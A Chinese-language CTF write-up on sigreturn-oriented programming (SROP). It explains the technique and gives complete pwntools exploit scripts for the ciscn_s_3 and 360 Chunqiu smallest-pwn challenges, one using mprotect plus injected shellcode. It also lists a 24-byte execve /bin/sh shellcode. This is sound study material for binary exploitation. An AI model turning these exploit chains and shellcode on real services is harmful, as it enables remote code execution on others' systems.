Contents
  1. 1. 原理与利用
  2. 2. 🌰
    1. 2.1. ciscn_s_3 (64位)
      1. 2.1.1. 分析
      2. 2.1.2. 法一【推荐】
        1. 2.1.2.1. exp
      3. 2.1.3. 法二
        1. 2.1.3.1. exp
    2. 2.2. Defcon 2015 Qualifier fuckup (32位)
    3. 2.3. 360春秋杯 smallest-pwn
      1. 2.3.1. 分析
      2. 2.3.2. 法一
        1. 2.3.2.1. exp
      3. 2.3.3. 法二
        1. 2.3.3.1. exp

原理与利用

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/#srop
https://blog.csdn.net/luozhaotian/article/details/79607572
https://www.anquanke.com/post/id/85810
https://www.freebuf.com/articles/network/87447.html
其中的重点就是


需要注意的是,我们在构造 ROP 攻击的时候,需要满足下面的条件

  1. 可以通过栈溢出来控制栈的内容
  2. 需要知道相应的地址
  • “/bin/sh”
  • Signal Frame
  • syscall
  • sigreturn
  1. 需要有够大的空间来塞下整个 sigal frame

  1. Signal Frame 被保存在用户的地址空间中,所以用户是可以读写的。
  2. 由于内核与信号处理程序无关 (kernel agnostic about signal handlers),它并不会去记录这个 signal 对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。

32 位的 sigreturn 的调用号为 77;在 64 位系统中,sigreturn 系统调用对应的系统调用号为 15。寄存器 eax 中存放系统调用号,同时系统调用返回值也存放在 eax 中。
以64位系统为例,只需要RAX=15,并且执行 syscall 即可实现调用 sigreturn 调用。而 RAX 寄存器的值又可以通过控制某个函数的返回值来间接控制,比如说 read 函数的返回值为读取的字节数

1
2
3
4
5
6
7
8
9
10
11
12
13
/*for x86*/

mov eax,0x77

int 80h



/*for x86_64*/

mov rax,0xf

syscall

  1. 伪造sigcontext结构,push到栈中。伪造过程中需要将eax,ebx,ecx等参数寄存器设置为相关值,eip设置为syscall的地址。并且需要注意的是esp,ebp和es,gs等段寄存器不可直接设置为0,经过个人测试,这样不会成功。

  2. 然后将返回地址设置为sigreturn的地址(或者相关gadget)。

  3. 最后当sigreturn系统调用执行完后,就直接执行你的系统调用了。

    1
    2
    3
    4
    5
    6
    7
    | sig_ret|  <---esp
    | .......|
    | |
    | frame |
    |........|
    | |
    ——————————

🌰

ciscn_s_3 (64位)

分析

保护全开


由汇编代码可得调用了read(fd, &buf, 0x400) write(fd, &buf, 0x30)
存在溢出
本题中存在的对栈的处理pop push就只有 开始的push rbpret=pop rip
所以最后返回的rip被rbp赋值,我们可以覆盖到rbp从而改变了返回地址


同时还能发现故意设置的gadgets

  1. 实现了上述的sigreturn 系统调用
  2. one_gadget

法一【推荐】

pwntools 中已经集成了对于 srop 的攻击:https://docs.pwntools.com/en/stable/rop/srop.html

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!usr/bin/python
from pwn import *
context(arch='amd64', os='linux', log_level = 'DEBUG')
context.log_level = 'debug'

# io = process('./s3')
io = remote("node3.buuoj.cn",28503)
elf = ELF("./s3")

vuln_addr = 0x00000000004004ED
sigreturn_addr = 0x00000000004004DA
syscall_addr = 0x0000000000400501


payload = "/bin/sh\x00"
payload = payload.ljust(0x10, 'a')
payload += p64(vuln_addr)
io.send(payload)
io.recv(0x20)
binsh_addr = u64(io.recv(8))-280 # 0x00007fffffffde08 - 0x00007fffffffdcf0 = 280
print "binsh_addr = " +hex(binsh_addr)

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr

payload = "/bin/sh\x00"
payload = payload.ljust(0x10, 'a')
payload += p64(sigreturn_addr) + p64(syscall_addr) + str(frame)
io.send(payload)

io.interactive()

法二

execve的函数定义

1
int execve(const char * filename,char * const argv[ ],char * const envp[ ]);

所以实际上我们要调用

1
2
execve("/bin/sh", 0, 0)
#rdi #rsi #rdx

查找ropgadget

1
$ ROPgadget --binary s3 --only "pop|ret"

没有找到rdx,直接使用__libc_csu_init传参

比较麻烦

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!usr/bin/python
from pwn import *
context.log_level = 'debug'

io = process('./s3')
# io = remote("node3.buuoj.cn",28503)
elf = ELF("./s3")
pop_rdi = 0x00000000004005a3
pop_rsi_r15 = 0x00000000004005a1
pop6 = 0x0000000000400596 # pop_rbx_rbp_r12_r13_r14_r15_ret
ini_addr = 0x0000000000400580
vuln_addr = 0x00000000004004ED
sys_execve = 0x00000000004004E2
syscall_addr = 0x0000000000400501
# syscall_addr = 0x0000000000400517


payload = "/bin/sh\x00"
payload = payload.ljust(0x10, 'a')
payload += p64(vuln_addr)
io.send(payload)
io.recv(0x20)
binsh_addr = u64(io.recv(8))-280 # 0x00007fffffffde08 - 0x00007fffffffdcf0 = 280
print "binsh_addr = " +hex(binsh_addr)

payload = "/bin/sh\x00"
payload = payload.ljust(0x10, 'a')
payload += p64(pop6)
payload += p64(0) + p64(0) + p64(binsh_addr+0x50) + p64(0) + p64(0) + p64(0)
#rbx #rbp #r12 #r13=rdx #r14=rsi #r15
payload += p64(ini_addr) + p64(sys_execve) # rax = 0x3b
payload += p64(pop_rdi) + p64(binsh_addr) + p64(syscall_addr)
io.send(payload)

io.interactive()

参考 :https://zhuanlan.zhihu.com/p/106014234

Defcon 2015 Qualifier fuckup (32位)

看了一下,整个二进制文件都分析不清楚,只能get到漏洞点
32位牵扯到了VDSO
https://github.com/ctfs/write-ups-2015/tree/master/defcon-qualifier-ctf-2015/pwnable/fuckup
http://binja.github.io/2015/05/19/defconctf2015-fuckup-writeup/

360春秋杯 smallest-pwn

分析

ida少的可怜,总之实现了read(0, $rsp, 0x400)

法一

没有给我们可用的sigreturn,这就用到前文说的:

以64位系统为例,只需要RAX=15,并且执行 syscall 即可实现调用 sigreturn 调用。而 RAX 寄存器的值又可以通过控制某个函数的返回值来间接控制,比如说 read 函数的返回值为读取的字节数

我们希望通过syscall调用execve(“/bin/sh”, 0, 0) 跟第一题有点像哈


  1. 第一次read时将rsp写成start_addr,然后又返回start_addr再次写入’\xB3’,read返回真正写入数 1 给rax,同时将rsp最末位改成了B3,即rsp = 0x4000B3,跳过了xor rax, rax
    write函数调用号就是 1 ,stdout的值也是1,mov rdi, rax刚好会设置好write的第一个参数,调用write(1, $rsp, 0x400)
    即可泄露stack_addr
  2. 通过设置read返回字节数控制rax = 15,从而调用sigreturn
  3. 在栈地址中写入binsh字符串
  4. 构造execve(“/bin/sh”, 0, 0)
    rax设置成59(即execve系统调用号),将rdi设置成字符串/bin/sh的地址(我们写在栈上了),将rip设置成系统调用指令syscall的内存地址,最后,将rt_sigreturn手动设置成sigreturn系统调用的内存地址。那么,当这个伪造的sigreturn系统调用返回之后,相应的寄存器就被设置成了攻击者可以控制的值,一旦sigreturn返回,就会去执行execve系统调用,打开一个shell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!usr/bin/python
from pwn import *
context(arch='amd64', os='linux', log_level = 'DEBUG')
context.log_level = 'debug'


io = process("./smallest")
start_addr = 0x00000000004000B0
vuln_addr = 0x00000000004000B3
syscall_addr = 0x00000000004000BE

payload = p64(start_addr) * 3
io.send(payload)
io.send('\xB3') # rax = 1 -->write(1, $rsp, 0x400)
io.recv(8)
stack_addr = u64(io.recv(8))
print "stack_addr = " +hex(stack_addr)

frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = stack_addr
frame.rdx = 0x400
frame.rsp = stack_addr
frame.rip = syscall_addr
# read(0, stack_addr, 0x400)

payload = p64(start_addr) + p64(0) + str(frame)
io.send(payload)

payload = p64(syscall_addr)
payload = payload.ljust(15, "\x00") # rax = 15
io.send(payload)
# start sigreturn

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = stack_addr + 0x150 # binsh
frame.rsi = 0
frame.rdx = 0
frame.rsp = stack_addr
frame.rip = syscall_addr

payload = p64(start_addr) + p64(0) + str(frame)
payload = payload.ljust(0x150, '\x00')
payload += "/bin/sh\x00"
io.send(payload)

payload = p64(syscall_addr)
payload = payload.ljust(15, "\x00") # rax = 15
io.send(payload)
# start sigreturn

io.interactive()

法二

SROP + mprotect + shellcode
前面部分和整体思想和法一是一样的,只是最后不是execve 而是用mprotext修改内存区属性再写入shellcode拿shell
这个参考:https://bestwing.me/2017-360chunqiu-online.html 学到的新方法

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!usr/bin/python
from pwn import *
context(arch='amd64', os='linux', log_level = 'DEBUG')
context.log_level = 'debug'

io = process("./smallest")
start_addr = 0x00000000004000B0
vuln_addr = 0x00000000004000B3
syscall_addr = 0x00000000004000BE

payload = p64(start_addr)
payload += p64(start_addr)#fill
payload += p64(start_addr)#fill
io.send(payload)
raw_input("joker")

#write infor leak
io.send("\xb3")#write 2 start_addr last byte
data = io.recv(8)
data = io.recv(8)
stack_addr = u64(data)
print "[*]:stack:{0}".format(hex(stack_addr))

frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = stack_addr
frame.rdx = 0x300
frame.rsp = stack_addr
frame.rip = syscall_addr

payload = p64(start_addr)
payload += p64(syscall_addr)
payload += str(frame)
io.send(payload)

raw_input("kkkk")
payload = p64(0x4000B3)#fill
payload += p64(0x4000B3)#fill
payload = payload[:15]
io.send(payload)#set rax=sys_rt_sigreturn

frame = SigreturnFrame()
frame.rax = constants.SYS_mprotect
frame.rdi = (stack_addr&0xfffffffffffff000)
frame.rsi = 0x1000
frame.rdx = 0x7
frame.rsp = stack_addr + 0x108
frame.rip = syscall_addr
payload = p64(start_addr)
payload += p64(syscall_addr)
payload += str(frame)

payload += p64(stack_addr + 0x108 + 8)
#payload += cyclic(0x100)#addr ====> start_addr + 0x108
payload += "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"#shellcode

r.send(payload)

raw_input("kkkk")
payload = p64(0x4000B3)#fill
payload += p64(0x4000B3)#fill
payload = payload[:15]
io.send(payload)#set rax=sys_rt_sigreturn

io.interactive()

Linux/x64 - Execute /bin/sh Shellcode (24 bytes)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/*
global _start
section .text
_start:
push 59
pop rax
cdq
push rdx
mov rbx,0x68732f6e69622f2f
push rbx
push rsp
pop rdi
push rdx
push rdi
push rsp
pop rsi
syscall
*/

#include <stdio.h>
#include <string.h>
char code[] = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05";
// char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main()
{
printf("len:%d bytes\n", strlen(code));
(*(void(*)()) code)();
return 0;
}